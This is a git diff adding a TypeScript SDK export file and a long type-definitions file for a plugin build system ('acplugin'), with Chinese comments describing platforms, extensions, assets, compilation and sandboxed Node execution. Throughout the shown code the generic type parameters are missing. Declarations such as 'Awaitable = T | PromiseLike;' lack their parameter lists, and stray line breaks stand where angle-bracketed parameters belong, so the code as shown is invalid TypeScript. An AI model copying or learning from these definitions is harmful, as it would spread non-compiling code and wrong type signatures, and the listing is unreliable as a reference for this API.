diff --git a/packages/core/src/kernel-sdk.ts b/packages/core/src/kernel-sdk.ts new file mode 100644 index 0000000..881b0f3 --- /dev/null +++ b/packages/core/src/kernel-sdk.ts @@ -0,0 +1,126 @@ +export { + defineExtension, + definePlatform, + isAcpluginExtension, + isAcpluginPlatform, +} from './kernel-contracts.js'; +export { + LIFECYCLE_API_VERSION, +} from './kernel-types.js'; +export type { + AcpluginExtension, + AcpluginPlatform, + AgentCapability, + AgentComponent, + AgentModel, + AssetMode, + AssetOrigin, + AssetRef, + AssetService, + Awaitable, + BuildMode, + BytesAssetRef, + CanonicalProject, + CommandComponent, + CompatibilityEntry, + CompatibilityInput, + CompatibilityLevel, + CompileEntry, + CompileJob, + CompileModuleReport, + CompileOptions, + CompileOptionsMap, + CompileOutputFile, + CompileProfile, + CompileResult, + CompilerService, + ComponentLocation, + ComponentRequires, + ConfigCommand, + ConfigEnvironment, + ContributionContext, + CreatePackageContext, + Diagnostic, + DiagnosticInput, + DiagnosticPhase, + DiagnosticService, + DistributionAssetInput, + DistributionContext, + DistributionPackageInput, + DocumentFieldContribution, + DocumentFieldPath, + ExecutionResult, + ExecutionService, + ExtensionBuildContext, + ExtensionBuildOutput, + ExtensionDefinition, + ExtensionDiscoverContext, + ExtensionIntegrationDescription, + ExtensionSession, + ExtensionSetupContext, + ExtensionSubject, + ExtensionValidateContext, + ExtensionValidationOutput, + FinalizePackageContext, + ForbiddenManagedPluginHook, + GeneratedAssetRef, + GeneratedBytesOriginInput, + IntegrationCloseContext, + IntegrationDescription, + JsonObject, + JsonPrimitive, + JsonValue, + ManagedRolldownCompileOptions, + ManagedRolldownInputOptions, + ManagedRolldownOutputOptions, + ManagedRolldownPlugin, + ManagedRolldownPluginOption, + MergedPackageSnapshot, + MetadataDisposition, + MetadataDispositionEntry, + MetadataDispositionInput, + ModuleService, + NodeRuntimeCapability, + NodeRuntimeEntryKind, + NodeRuntimeResource, + PackageAssetInput, + PackageAssetSnapshot, + PackageCandidate, + PackageContribution, + PackageDocumentInput, + PackageDocumentSnapshot, + PackageUnitSnapshot, + PlatformBasePackageSnapshot, + PlatformCapabilities, + PlatformComponentValidationContext, + PlatformContributor, + PlatformDefinition, + PlatformDeliveryType, + PlatformIntegrationDescription, + PlatformPackageInput, + PlatformSession, + PlatformSetupContext, + PluginAuthor, + PluginMetadata, + PortableNodeCompileOptions, + PortableNodeResolveOptions, + PortableNodeTransformOptions, + PrimaryPackageInput, + PublicResourceFile, + ResolvedConfigSummary, + SkillComponent, + SourceAssetRef, + SourceDirectoryRef, + SourceEntry, + SourceFileRef, + SourceLocation, + SourceService, + ValidatePackageContext, +} from './kernel-types.js'; + +// SDK 只导出 Integration 编写所需的纯序列化工具,不公开 Registry 或 Kernel 实现。 +export { + markdownWithFrontmatter, + stableJson, + stableYaml, +} from './serialization.js'; diff --git a/packages/core/src/kernel-types.ts b/packages/core/src/kernel-types.ts new file mode 100644 index 0000000..12eca9a --- /dev/null +++ b/packages/core/src/kernel-types.ts @@ -0,0 +1,1030 @@ +import type { + EngineInputOptions, + EngineOutputOptions, + EnginePlugin, +} from './compiler/engine-loader.js'; + +/** Platform 与 Extension 共同使用且在本轮重写中保持不变的生命周期 API 版本。 */ +export const LIFECYCLE_API_VERSION = '1' as const; + +/** 同步值或 PromiseLike 值。 */ +export type Awaitable = T | PromiseLike; + +/** JSON 标量。 */ +export type JsonPrimitive = string | number | boolean | null; + +/** 可由 Core 复制、验证并冻结的 JSON 对象。 */ +export interface JsonObject { + readonly [key: string]: JsonValue; +} + +/** 可由 Core 确定性处理的 JSON 值。 */ +export type JsonValue = JsonPrimitive | readonly JsonValue[] | JsonObject; + +/** Document 中不可歧义的非空字段路径。 */ +export type DocumentFieldPath = readonly [string, ...string[]]; + +/** 配置与 BuildSession 支持的命令。 */ +export type ConfigCommand = 'dev' | 'validate' | 'inspect' | 'build'; + +/** 构建执行模式。 */ +export type BuildMode = 'development' | 'production'; + +/** 函数式配置唯一可观察的执行环境。 */ +export interface ConfigEnvironment { + readonly command: ConfigCommand; + readonly mode: BuildMode; +} + +/** Plugin 作者元数据。 */ +export interface PluginAuthor { + readonly name: string; + readonly email?: string; + readonly url?: string; +} + +/** 规范化后的 Plugin 元数据。 */ +export interface PluginMetadata { + readonly name: string; + readonly version: string; + readonly description: string; + readonly displayName?: string; + readonly author?: PluginAuthor; + readonly homepage?: string; + readonly repository?: string; + readonly license?: string; + readonly keywords: readonly string[]; +} + +/** Public 目录中的一条显式来源映射。 */ +export interface PublicCopyRule { + readonly from: string; + readonly to: string; +} + +/** Public 资源的关闭、简写或精确映射配置。 */ +export type PublicConfig = false | string | { + readonly dir?: string; + readonly copy?: readonly PublicCopyRule[]; +}; + +/** Node Runtime 入口的执行意图。 */ +export type NodeRuntimeEntryKind = 'executable' | 'module'; + +/** 作者显式配置的 Node Runtime 入口。 */ +export interface NodeRuntimeEntryInput { + readonly entry: string; + readonly kind?: NodeRuntimeEntryKind; +} + +/** portable-node 允许作者调整的解析参数。 */ +type PortableReadonlyField = T extends readonly (infer E)[] ? readonly E[] : T; + +/** 从精确 Engine 类型派生只读 JSON 参数子集。 */ +type PortableOptionSubset = Readonly<{ + [P in K]?: PortableReadonlyField>; +}>; + +/** portable-node 允许作者调整的解析参数。 */ +export type PortableNodeResolveOptions = PortableOptionSubset< + NonNullable, + 'conditionNames' | 'extensions' | 'mainFields' | 'mainFiles' +>; + +/** portable-node 允许作者调整的转换参数。 */ +export type PortableNodeTransformOptions = PortableOptionSubset< + NonNullable, + 'define' | 'dropLabels' +> & { + readonly jsx?: false | 'react' | 'react-jsx' | 'preserve'; +}; + +/** 固定 Node 20 ESM contract 内可复用的纯 JSON 编译参数。 */ +export interface PortableNodeCompileOptions { + readonly resolve?: PortableNodeResolveOptions; + readonly transform?: PortableNodeTransformOptions; + readonly treeshake?: Extract; +} + +/** 内建 Node Runtime Resource 的作者配置。 */ +export interface NodeRuntimeConfig { + readonly target?: 'node20'; + readonly entries?: Readonly>; + readonly compile?: PortableNodeCompileOptions; +} + +/** 构建输出和全局兼容性策略。 */ +export interface BuildConfig { + readonly outDir?: string; + readonly strict?: boolean; +} + +/** Platform 声明的稳定 Plugin-local Node Runtime 能力。 */ +export type NodeRuntimeCapability = Readonly<{ + target: 'node20'; + format: 'esm'; + root: 'plugin'; +}>; + +/** Platform 供 Framework 和 Extension 协商的只读能力数据。 */ +export type PlatformCapabilities = Readonly<{ + nodeRuntime?: NodeRuntimeCapability; + readonly [capability: string]: JsonValue | NodeRuntimeCapability | undefined; +}>; + +/** Platform 主交付的安装形态。 */ +export type PlatformDeliveryType = 'plugin' | 'workspace' | 'package'; + +/** 仅用于 TypeScript 名义类型的 Platform 品牌,不参与运行时授权。 */ +declare const platformDefinitionTypeBrand: unique symbol; + +/** 仅用于 TypeScript 名义类型的 Extension 品牌,不参与运行时授权。 */ +declare const extensionDefinitionTypeBrand: unique symbol; + +/** 作者配置中可安装的 Platform 定义。 */ +export interface PlatformDefinition { + readonly id: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly deliveryType: PlatformDeliveryType; + readonly strict?: boolean; + readonly options?: O; + readonly capabilities?: PlatformCapabilities; + /** 为当前 BuildSession 创建隔离的平台生命周期状态。 */ + createSession(context: PlatformSetupContext): Awaitable; +} + +/** 经过工厂校验、复制、品牌化和冻结的 Platform。 */ +export interface AcpluginPlatform extends PlatformDefinition { + readonly [platformDefinitionTypeBrand]: true; +} + +/** Extension 验证后声明的兼容性覆盖主题。 */ +export interface ExtensionSubject { + readonly subject: string; + readonly capabilities: readonly string[]; +} + +/** Extension validate 阶段的状态与覆盖声明。 */ +export interface ExtensionValidationOutput { + readonly state: Readonly; + readonly subjects: readonly ExtensionSubject[]; +} + +/** Extension build 阶段的不可变 Built State。 */ +export interface ExtensionBuildOutput { + readonly state: Readonly; +} + +/** 作者配置中可安装的 Extension 定义。 */ +export interface ExtensionDefinition< + O extends JsonObject = JsonObject, + D = unknown, + V = D, + B = V, +> { + readonly id: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly options?: O; + readonly resourceRoots: readonly string[]; + /** 为当前 BuildSession 创建隔离的 Extension 生命周期状态。 */ + createSession(context: ExtensionSetupContext): Awaitable>; +} + +/** 经过工厂校验、复制、品牌化和冻结的 Extension。 */ +export interface AcpluginExtension< + O extends JsonObject = JsonObject, + D = unknown, + V = D, + B = V, +> extends ExtensionDefinition { + readonly [extensionDefinitionTypeBrand]: true; +} + +/** acplugin.config.ts 的最终作者配置。 */ +export interface UserConfig { + readonly name: string; + readonly version: string; + readonly description: string; + readonly displayName?: string; + readonly author?: PluginAuthor; + readonly homepage?: string; + readonly repository?: string; + readonly license?: string; + readonly keywords?: readonly string[]; + readonly srcDir?: string; + readonly public?: PublicConfig; + readonly runtime?: false | NodeRuntimeConfig; + readonly platforms: readonly AcpluginPlatform[]; + readonly extensions?: readonly AcpluginExtension[]; + readonly build?: BuildConfig; +} + +/** 配置文件允许导出的静态对象或函数。 */ +export type UserConfigExport = UserConfig | ((environment: Readonly) => Awaitable); + +/** 不包含工程路径的已解析配置摘要。 */ +export interface ResolvedConfigSummary { + readonly metadata: Readonly; + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly strict: boolean; +} + +/** Platform 对其他集成公开的稳定身份。 */ +export interface PlatformIntegrationDescription { + readonly kind: 'platform'; + readonly id: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly options?: Readonly; + readonly capabilities?: Readonly; +} + +/** Extension 对其他集成公开的稳定身份。 */ +export interface ExtensionIntegrationDescription { + readonly kind: 'extension'; + readonly id: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly options?: Readonly; + readonly resourceRoots: readonly string[]; +} + +/** 集成只能观察的结构化身份联合类型。 */ +export type IntegrationDescription = PlatformIntegrationDescription | ExtensionIntegrationDescription; + +/** 安全的工程相对来源位置。 */ +export interface SourceLocation { + readonly path: string; + readonly line?: number; + readonly column?: number; +} + +/** 生命周期可以提交的稳定诊断。 */ +export interface DiagnosticInput { + readonly code: string; + readonly severity: 'warning' | 'error'; + readonly message: string; + readonly location?: SourceLocation; + readonly fieldPath?: readonly (string | number)[]; + readonly hint?: string; +} + +/** 绑定 owner 和 phase 的诊断服务。 */ +export interface DiagnosticService { + /** 向当前 owner 和 phase 提交一条结构化诊断。 */ + report(input: DiagnosticInput): void; +} + +/** Platform Session 创建上下文。 */ +export interface PlatformSetupContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly options: Readonly; + readonly config: ResolvedConfigSummary; + readonly integrations: readonly IntegrationDescription[]; +} + +/** Extension Session 创建上下文。 */ +export type ExtensionSetupContext = PlatformSetupContext; + +/** Core 签发的源码目录能力;运行时授权依赖 Session 对象身份。 */ +declare const sourceDirectoryTypeBrand: unique symbol; + +/** Core 签发的源码文件能力;运行时授权依赖 Session 对象身份。 */ +declare const sourceFileTypeBrand: unique symbol; + +/** Source Registry 签发的来源 Asset 类型品牌。 */ +declare const sourceAssetTypeBrand: unique symbol; + +/** Compiler Host 签发的生成 Asset 类型品牌。 */ +declare const generatedAssetTypeBrand: unique symbol; + +/** Asset Service 签发的内存字节 Asset 类型品牌。 */ +declare const bytesAssetTypeBrand: unique symbol; + +/** Core 签发的源码目录能力;运行时授权依赖 Session 对象身份。 */ +export interface SourceDirectoryRef { + readonly kind: 'source-directory'; + readonly path: string; + readonly [sourceDirectoryTypeBrand]: true; +} + +/** Core 签发的源码文件能力;运行时授权依赖 Session 对象身份。 */ +export interface SourceFileRef { + readonly kind: 'source-file'; + readonly path: string; + readonly [sourceFileTypeBrand]: true; +} + +/** Source Service 返回的已验证目录项。 */ +export type SourceEntry = { + readonly type: 'file'; + readonly name: string; + readonly path: string; + readonly file: SourceFileRef; +} | { + readonly type: 'directory'; + readonly name: string; + readonly path: string; + readonly directory: SourceDirectoryRef; +}; + +/** owner-scoped 源码读取能力。 */ +export interface SourceService { + /** 枚举一个已授权来源目录。 */ + list(directory: SourceDirectoryRef, options?: { readonly recursive?: boolean }): Promise; + /** 从已授权目录签发后代文件 ref。 */ + file(directory: SourceDirectoryRef, relativePath: string): Promise; + /** 从已授权目录签发后代目录 ref。 */ + directory(directory: SourceDirectoryRef, relativePath: string): Promise; + /** 在读取上限内复制来源文件字节。 */ + read(file: SourceFileRef, options?: { readonly maxBytes?: number }): Promise; + /** 在读取上限内以 UTF-8 解码来源文件。 */ + readText(file: SourceFileRef, options?: { readonly maxBytes?: number }): Promise; +} + +/** 可信结构化 ESM 作者模块的加载服务。 */ +export interface ModuleService { + /** 执行受管 ESM 图并返回其 default export。 */ + loadDefault(request: { readonly id: string; readonly entry: SourceFileRef }): Promise; +} + +/** Source Registry 签发的来源 Asset。 */ +export interface SourceAssetRef { + readonly kind: 'source-asset'; + readonly id: string; + readonly [sourceAssetTypeBrand]: true; +} + +/** Compiler Host 签发的生成 Asset。 */ +export interface GeneratedAssetRef { + readonly kind: 'generated-asset'; + readonly id: string; + readonly [generatedAssetTypeBrand]: true; +} + +/** Compiler Host 向 Asset Registry 提交的结构化生成来源。 */ +export interface CompileAssetOriginInput { + readonly job: string; + readonly output: string; + readonly profile: CompileProfile; + readonly kind: CompileOutputFile['type']; + readonly inputs: readonly string[]; +} + +/** Asset Service 从内存字节签发的 Asset。 */ +export interface BytesAssetRef { + readonly kind: 'bytes-asset'; + readonly id: string; + readonly [bytesAssetTypeBrand]: true; +} + +/** 所有受管 Asset 引用。 */ +export type AssetRef = SourceAssetRef | GeneratedAssetRef | BytesAssetRef; + +/** 受管 Asset 支持的文件权限。 */ +export type AssetMode = 0o644 | 0o755; + +/** Bytes Asset 的稳定生成来源。 */ +export interface GeneratedBytesOriginInput { + readonly operation: string; + readonly subjects?: readonly string[]; +} + +/** owner-scoped Asset 创建与受限读取服务。 */ +export interface AssetService { + /** 从已授权来源文件创建保留来源身份的 Asset。 */ + fromSource(source: SourceFileRef, options?: { readonly mode?: AssetMode }): Promise; + /** 从复制后的内存字节创建带结构化来源的 Asset。 */ + fromBytes(input: { readonly bytes: Uint8Array | string; readonly mode?: AssetMode; readonly origin: GeneratedBytesOriginInput }): Promise; + /** 在 owner grant 和读取上限内复制 Asset 字节。 */ + read(asset: AssetRef, options?: { readonly maxBytes?: number }): Promise; +} + +/** 规范 Component 的依赖引用。 */ +export interface ComponentRequires { + readonly skills: readonly string[]; + readonly agents: readonly string[]; +} + +/** Component 正文在安全工程相对路径中的位置。 */ +export interface ComponentLocation { + readonly path: string; + readonly bodyLine: number; +} + +/** 规范 Command。 */ +export interface CommandComponent { + readonly kind: 'command'; + readonly id: string; + readonly description: string; + readonly argumentHint?: string; + readonly body: string; + readonly location: ComponentLocation; + readonly requires: ComponentRequires; + readonly platforms: Readonly>>; +} + +/** 规范 Skill。 */ +export interface SkillComponent { + readonly kind: 'skill'; + readonly id: string; + readonly description: string; + readonly invocation: { readonly user: boolean; readonly model: boolean }; + readonly body: string; + readonly location: ComponentLocation; + readonly requires: ComponentRequires; + readonly platforms: Readonly>>; + readonly auxiliaryFiles: readonly { readonly path: string; readonly asset: SourceAssetRef }[]; +} + +/** Agent 需要的平台中立工具能力。 */ +export type AgentCapability = 'filesystem:read' | 'filesystem:write' | 'search' | 'shell' | 'network' | 'delegate'; + +/** Agent 的平台中立模型级别。 */ +export type AgentModel = 'inherit' | 'fast' | 'capable'; + +/** 规范 Agent。 */ +export interface AgentComponent { + readonly kind: 'agent'; + readonly id: string; + readonly description: string; + readonly model: AgentModel; + readonly capabilities: readonly AgentCapability[]; + readonly body: string; + readonly location: ComponentLocation; + readonly requires: ComponentRequires; + readonly platforms: Readonly>>; +} + +/** Public Provider 发现的资源。 */ +export interface PublicResourceFile { + readonly path: string; + readonly asset: SourceAssetRef; +} + +/** 内建 Runtime Provider 发现的规范入口集合。 */ +export interface NodeRuntimeResource { + readonly target: 'node20'; + readonly entries: readonly { readonly id: string; readonly kind: NodeRuntimeEntryKind; readonly source: SourceFileRef }[]; + readonly compile?: PortableNodeCompileOptions; +} + +/** Scanner 完成验证后的规范工程图。 */ +export interface CanonicalProject { + readonly metadata: PluginMetadata; + readonly commands: readonly CommandComponent[]; + readonly skills: readonly SkillComponent[]; + readonly agents: readonly AgentComponent[]; + readonly publicFiles: readonly PublicResourceFile[]; + readonly runtime?: NodeRuntimeResource; +} + +/** Platform 的 Component 专属字段验证上下文。 */ +export interface PlatformComponentValidationContext { + readonly project: CanonicalProject; + readonly component: CommandComponent | SkillComponent | AgentComponent; + readonly diagnostics: DiagnosticService; +} + +/** Compiler Job 的来源或虚拟入口。 */ +export type CompileEntry = { + readonly type: 'source'; + readonly source: SourceFileRef; + readonly mode?: AssetMode; +} | { + readonly type: 'virtual'; + readonly code: string; + readonly resolveFrom: SourceDirectoryRef; + readonly mode?: AssetMode; +}; + +/** Core 支持的两个编译 Profile。 */ +export type CompileProfile = 'portable-node' | 'managed-rolldown'; + +/** managed Profile 禁止接受但不执行的写入和 Watch Plugin Hook。 */ +export type ForbiddenManagedPluginHook = 'writeBundle' | 'watchChange' | 'closeWatcher'; + +/** managed Profile 可调用的 Rolldown Plugin。 */ +export type ManagedRolldownPlugin = Omit; + +/** Rolldown 风格的递归 Plugin option。 */ +export type ManagedRolldownPluginOption = ManagedRolldownPlugin + | { readonly name: string } + | false + | null + | undefined + | PromiseLike + | readonly ManagedRolldownPluginOption[]; + +/** Core 从 managed input options 中接管的字段。 */ +type CoreOwnedManagedInputOption = 'input' | 'cwd' | 'plugins' | 'logLevel' | 'onwarn' | 'watch' | 'devtools' | 'output' | 'tsconfig'; + +/** trusted integration 可使用的 Rolldown input 能力。 */ +export type ManagedRolldownInputOptions = Omit & { + readonly plugins?: ManagedRolldownPluginOption; + readonly tsconfig?: false | SourceFileRef; +}; + +/** trusted integration 可使用的 Rolldown output 能力。 */ +export type ManagedRolldownOutputOptions = Omit & { + readonly plugins?: ManagedRolldownPluginOption; +}; + +/** managed Profile 的输出与审计策略。 */ +export interface ManagedRolldownCompileOptions { + readonly inputOptions?: ManagedRolldownInputOptions; + readonly outputs: readonly { readonly id: string; readonly options: ManagedRolldownOutputOptions }[]; + readonly policy?: { + readonly deterministic?: boolean; + readonly licenses?: 'strict' | 'ignore'; + readonly nativeAddons?: 'reject' | 'allow'; + readonly unresolvedImports?: 'reject' | 'allow'; + }; +} + +/** 编译 Profile 与其参数的唯一映射。 */ +export interface CompileOptionsMap { + readonly 'portable-node': PortableNodeCompileOptions; + readonly 'managed-rolldown': ManagedRolldownCompileOptions; +} + +/** 指定 Profile 的编译参数。 */ +export type CompileOptions

= CompileOptionsMap[P]; + +/** 与当前所有者能力绑定的 Compiler Job。 */ +export interface CompileJob

{ + readonly id: string; + readonly profile: P; + readonly entries: Readonly>; + readonly sourceScopes?: readonly SourceDirectoryRef[]; + readonly virtualModules?: Readonly>; + readonly options?: CompileOptions

; +} + +/** Compiler 输出的受管文件。 */ +export interface CompileOutputFile { + readonly type: 'chunk' | 'asset' | 'licenses'; + readonly outputId: string; + readonly fileName: string; + readonly entryId?: string; + readonly isEntry: boolean; + readonly asset: GeneratedAssetRef; +} + +/** 脱敏后的 Compiler 模块图节点。 */ +export interface CompileModuleReport { + readonly id: string; + readonly kind: 'source' | 'virtual' | 'package'; + readonly inputs: readonly string[]; + readonly importedBy: readonly string[]; +} + +/** Compiler Host 的稳定结果。 */ +export interface CompileResult

{ + readonly job: string; + readonly profile: P; + readonly engine: { readonly name: 'rolldown'; readonly version: string }; + readonly outputs: readonly CompileOutputFile[]; + readonly modules: readonly CompileModuleReport[]; +} + +/** owner-scoped Compiler Host 能力。 */ +export interface CompilerService { + readonly engine: { readonly name: 'rolldown'; readonly version: string }; + /** 通过 Core 唯一 Compiler Host 执行 owner-scoped Job。 */ + compile

(job: CompileJob

): Promise>; +} + +/** Execution Host 的稳定进程结果。 */ +export interface ExecutionResult { + readonly status: 'exited' | 'signaled' | 'timed-out' | 'output-limit'; + readonly exitCode: number | null; + readonly signal: string | null; + readonly stdout: Uint8Array; + readonly stderr: Uint8Array; +} + +/** owner-scoped Node Execution Host 能力。 */ +export interface ExecutionService { + /** 在隔离 cwd、最小环境和固定资源上限内执行 Node entry。 */ + runNode(request: { + readonly entry: GeneratedAssetRef; + readonly args?: readonly string[]; + readonly stdin?: Uint8Array | string; + readonly timeoutMs: number; + readonly maxOutputBytes: number; + readonly environment?: Readonly>; + }): Promise; +} + +/** Extension discover 阶段的受限上下文。 */ +export interface ExtensionDiscoverContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly roots: Readonly>; + readonly sources: SourceService; + readonly modules: ModuleService; + readonly diagnostics: DiagnosticService; +} + +/** Extension validate 阶段的规范工程上下文。 */ +export interface ExtensionValidateContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly project: CanonicalProject; + readonly diagnostics: DiagnosticService; +} + +/** Extension build 阶段的受管能力上下文。 */ +export interface ExtensionBuildContext extends ExtensionValidateContext { + readonly compiler: CompilerService; + readonly assets: AssetService; + readonly execution: ExecutionService; +} + +/** 集成清理阶段看到的脱敏结果。 */ +export interface IntegrationCloseContext { + readonly outcome: 'success' | 'failed' | 'aborted'; + readonly committed: boolean; + readonly failure?: { readonly code: string; readonly phase: string; readonly message: string }; +} + +/** Platform 创建的主 Package 输入。 */ +export interface PlatformPackageInput { + readonly documents: readonly PackageDocumentInput[]; + readonly assets: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; + readonly metadata: readonly MetadataDispositionInput[]; +} + +/** Package 中的 Asset 路径映射。 */ +export interface PackageAssetInput { + readonly path: string; + readonly asset: AssetRef; +} + +/** Platform 拥有的结构化 Package Document。 */ +export interface PackageDocumentInput { + readonly id: string; + readonly path: string; + readonly format: 'json' | 'yaml' | 'toml' | 'frontmatter'; + readonly value: Readonly; + readonly emission?: 'required' | 'omit-if-empty'; + readonly extensionPoints: readonly DocumentFieldPath[]; +} + +/** Package snapshot 中保留 issuer 的 Asset。 */ +export interface PackageAssetSnapshot { + readonly path: string; + readonly owner: string; + readonly asset: AssetRef; +} + +/** Package snapshot 中冻结的结构化 Document。 */ +export interface PackageDocumentSnapshot { + readonly id: string; + readonly path: string; + readonly format: PackageDocumentInput['format']; + readonly value: Readonly; + readonly emission: 'required' | 'omit-if-empty'; + readonly extensionPoints: readonly DocumentFieldPath[]; +} + +/** Contributor 只能读取的 Platform base snapshot。 */ +export interface PlatformBasePackageSnapshot { + readonly documents: readonly PackageDocumentSnapshot[]; + readonly assets: readonly PackageAssetSnapshot[]; + readonly compatibility: readonly CompatibilityInput[]; + readonly metadata: readonly MetadataDispositionInput[]; +} + +/** Core 集中合并后的 Package snapshot。 */ +export type MergedPackageSnapshot = PlatformBasePackageSnapshot; + +/** Platform 最终确定的主 Package 身份和新增 Asset。 */ +export interface PrimaryPackageInput { + readonly id: string; + readonly type: PlatformDeliveryType; + readonly assets?: readonly PackageAssetInput[]; +} + +/** Platform base Package 创建上下文。 */ +export interface CreatePackageContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly project: CanonicalProject; + readonly compiler: CompilerService; + readonly assets: AssetService; + readonly diagnostics: DiagnosticService; +} + +/** Platform finalization 上下文。 */ +export interface FinalizePackageContext extends CreatePackageContext { + readonly package: MergedPackageSnapshot; +} + +/** 已验证候选中的 Package Unit snapshot。 */ +export interface PackageUnitSnapshot { + readonly platform: string; + readonly id: string; + readonly type: PlatformDeliveryType | 'marketplace'; + readonly role: 'primary' | 'distribution'; + readonly assets: readonly PackageAssetSnapshot[]; + readonly compatibility: readonly CompatibilityInput[]; + readonly metadata: readonly MetadataDispositionInput[]; +} + +/** 临时物化且只在校验调用期间授权的候选。 */ +export interface PackageCandidate { + readonly root: string; + readonly unit: PackageUnitSnapshot; +} + +/** Platform candidate 校验上下文。 */ +export interface ValidatePackageContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly candidate: PackageCandidate; + readonly diagnostics: DiagnosticService; +} + +/** Distribution 中的一条继承或新增 Asset。 */ +export interface DistributionAssetInput { + readonly path: string; + readonly asset: AssetRef; +} + +/** Marketplace Distribution 输入。 */ +export interface DistributionPackageInput { + readonly id: string; + readonly type: 'marketplace'; + readonly assets: readonly DistributionAssetInput[]; +} + +/** Platform 创建 Distribution 的上下文。 */ +export interface DistributionContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly project: CanonicalProject; + readonly primary: PackageUnitSnapshot; + readonly assets: AssetService; + readonly diagnostics: DiagnosticService; +} + +/** Platform BuildSession 私有生命周期。 */ +export interface PlatformSession { + /** 校验一个 canonical Component 的平台专属字段。 */ + validateComponent?(context: PlatformComponentValidationContext): Awaitable; + /** 从 canonical project 创建 Platform base Package。 */ + createPackage(context: CreatePackageContext): Awaitable; + /** 从集中合并的 snapshot 确定主 Package。 */ + finalizePackage(context: FinalizePackageContext): Awaitable; + /** 校验 Core 临时物化的完整 Package candidate。 */ + validatePackage(context: ValidatePackageContext): Awaitable; + /** 从已验证主 Package 创建可选 Distribution。 */ + createDistributions?(context: DistributionContext): Awaitable; + /** 在成功、失败或中止后释放当前 Session 状态。 */ + close?(context: IntegrationCloseContext): Awaitable; +} + +/** Extension 对一个 Platform 的无序 add-only Contributor。 */ +export interface PlatformContributor { + readonly platform: string; + readonly platformApiVersion: typeof LIFECYCLE_API_VERSION; + /** 对只读 base Package 返回无序 add-only Contribution。 */ + contribute(context: ContributionContext, built: Readonly): Awaitable; +} + +/** Extension 对一个 Document extension point 的字段贡献。 */ +export interface DocumentFieldContribution { + readonly document: string; + readonly path: DocumentFieldPath; + readonly value: JsonValue; +} + +/** Extension Contributor 的集中合并输入。 */ +export interface PackageContribution { + readonly documentFields?: readonly DocumentFieldContribution[]; + readonly assets?: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; +} + +/** Contributor 只能观察 Platform base snapshot 的上下文。 */ +export interface ContributionContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly platform: PlatformIntegrationDescription; + readonly project: CanonicalProject; + readonly base: PlatformBasePackageSnapshot; + readonly assets: AssetService; + readonly diagnostics: DiagnosticService; +} + +/** Extension BuildSession 私有生命周期。 */ +export interface ExtensionSession { + /** 从 Extension 独占来源根发现作者资源。 */ + discover(context: ExtensionDiscoverContext): Awaitable; + /** 对发现状态和 canonical project 执行验证。 */ + validate(context: ExtensionValidateContext, discovered: Readonly): Awaitable>; + /** 通过 Core Host 把验证状态构建为跨 Platform Built State。 */ + build(context: ExtensionBuildContext, validated: Readonly): Awaitable>; + readonly contributors: readonly PlatformContributor[]; + /** 在成功、失败或中止后释放当前 Session 状态。 */ + close?(context: IntegrationCloseContext): Awaitable; +} + +/** Platform 或 Contributor 返回的兼容性结论。 */ +export interface CompatibilityInput { + readonly subject: string; + readonly capability: string; + readonly level: CompatibilityLevel; + readonly transformation?: string; + readonly reason: string; + readonly causes?: readonly string[]; +} + +/** 兼容性支持级别。 */ +export type CompatibilityLevel = 'native' | 'transform' | 'degraded' | 'unsupported'; + +/** 元数据在目标 Package 中的最终去向。 */ +export type MetadataDisposition = 'emitted' | 'omitted'; + +/** Platform 返回的单个元数据处理结论。 */ +export interface MetadataDispositionInput { + readonly field: string; + readonly disposition: MetadataDisposition; + readonly output?: string; + readonly reason: string; +} + +/** 附加 Platform 身份的兼容性报告项。 */ +export interface CompatibilityEntry extends CompatibilityInput { + readonly platform: string; +} + +/** 附加 Platform 身份的元数据报告项。 */ +export interface MetadataDispositionEntry extends MetadataDispositionInput { + readonly platform: string; +} + +/** 稳定报告中的 Asset 来源。 */ +export type AssetOrigin = { + readonly type: 'source'; + readonly resource: string; + readonly path: string; +} | { + readonly type: 'compile'; + readonly owner: string; + readonly job: string; + readonly output: string; + readonly profile: CompileProfile; + readonly kind: CompileOutputFile['type']; + readonly inputs: readonly string[]; +} | { + readonly type: 'generated'; + readonly owner: string; + readonly operation: string; + readonly subjects?: readonly string[]; +}; + +/** BuildReport 中的 Asset 摘要。 */ +export interface PackageAssetReport { + readonly path: string; + readonly owner: string; + readonly mode: AssetMode; + readonly size: number; + readonly sha256: string; + readonly origin: AssetOrigin; +} + +/** BuildReport 中的 Package Unit 摘要。 */ +export interface PackageUnitReport { + readonly platform: string; + readonly id: string; + readonly type: PlatformDeliveryType | 'marketplace'; + readonly role: 'primary' | 'distribution'; + readonly validated: boolean; + readonly assets: readonly PackageAssetReport[]; +} + +/** BuildReport 中的 Component 摘要。 */ +export interface ComponentReport { + readonly kind: 'command' | 'skill' | 'agent'; + readonly id: string; + readonly location: SourceLocation; +} + +/** BuildReport 中的 Runtime 摘要。 */ +export interface RuntimeReport { + readonly id: string; + readonly kind: NodeRuntimeEntryKind; + readonly location: SourceLocation; + readonly built: boolean; +} + +/** BuildReport 中的 Extension 摘要。 */ +export interface ExtensionReport { + readonly id: string; + readonly discovered: boolean; + readonly subjects: readonly ExtensionSubject[]; +} + +/** BuildReport 中的 Platform 摘要。 */ +export interface PlatformReport { + readonly id: string; + readonly selected: boolean; + readonly success: boolean; + readonly packageIds: readonly string[]; +} + +/** 稳定诊断阶段。 */ +export type DiagnosticPhase = 'config' | 'setup' | 'discover' | 'validate' | 'compile' | 'package' | 'contribute' | 'finalize' | 'materialize' | 'platform-validate' | 'compatibility' | 'transaction' | 'cleanup' | 'dev' | 'internal'; + +/** BuildReport 中已绑定来源的诊断。 */ +export interface Diagnostic extends DiagnosticInput { + readonly phase: DiagnosticPhase; + readonly platform?: string; + readonly extension?: string; + readonly owner?: string; + readonly component?: { readonly kind: 'command' | 'skill' | 'agent'; readonly id: string }; + readonly related?: readonly SourceLocation[]; +} + 